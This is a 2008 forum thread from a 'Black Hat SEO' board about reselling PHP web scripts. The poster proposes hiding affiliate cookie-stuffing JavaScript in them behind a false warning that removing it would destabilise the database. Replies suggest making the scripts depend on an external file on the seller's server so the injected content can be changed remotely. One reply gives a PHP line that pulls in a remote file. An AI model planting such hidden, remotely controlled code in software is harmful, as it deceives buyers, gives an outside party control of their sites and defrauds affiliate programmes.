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Selling webscripts

Discussion in 'Black Hat SEO' started by nycsavage, Apr 4, 2008.

  1. nycsavage

    nycsavage Junior Member

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    Hmmm, I have a few scripts that im thinking about selling on Ebay I have reseller rights) and I was looking thru the code checking everything was ok with it when I noticed soe code was accented.

    It stated that the below code must not be touched and proceeded to show some php code.

    It got me thinking, what if I added my javascript code to cookiestuff my ebay affiliate link inside a section like this warning the new buyer not to remove this code as it would make the database unstable.

    What do you guys think? Hehe im starting to think like a blackhatter now :)
     
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    wealthy199 BANNED BANNED

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    I think you just gave me a great idea!!

    I'm off to brainstorm...
     
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    nycsavage Junior Member

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    Make sure you share (or give me a percentage :p)
     
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    If you used 'php echo join' to a file hosted on your server, and besides the stuffing code in this external file, you had some of the programme essential code (so it would not work without this external code snippet) then you have a great opportunity ...
     
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    Whoosh as that went over my head :)
     
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    you could also add an 'if' php statement to check the variable exists, just in case your server was not responding, and have a secondary external php file call to the same file on a different server. this would ensure it works 100% of the time. As the file with the stuffing resides on your server, you can change as required.

    <?php echo join ('', file('http://www.ukwebs.co.uk/RANDOM-LINKBAIT.php'));?>

    test that on your own php page. it is just a simple white hat random link display. but it is on my server, you are calling an external file into your php script.
     
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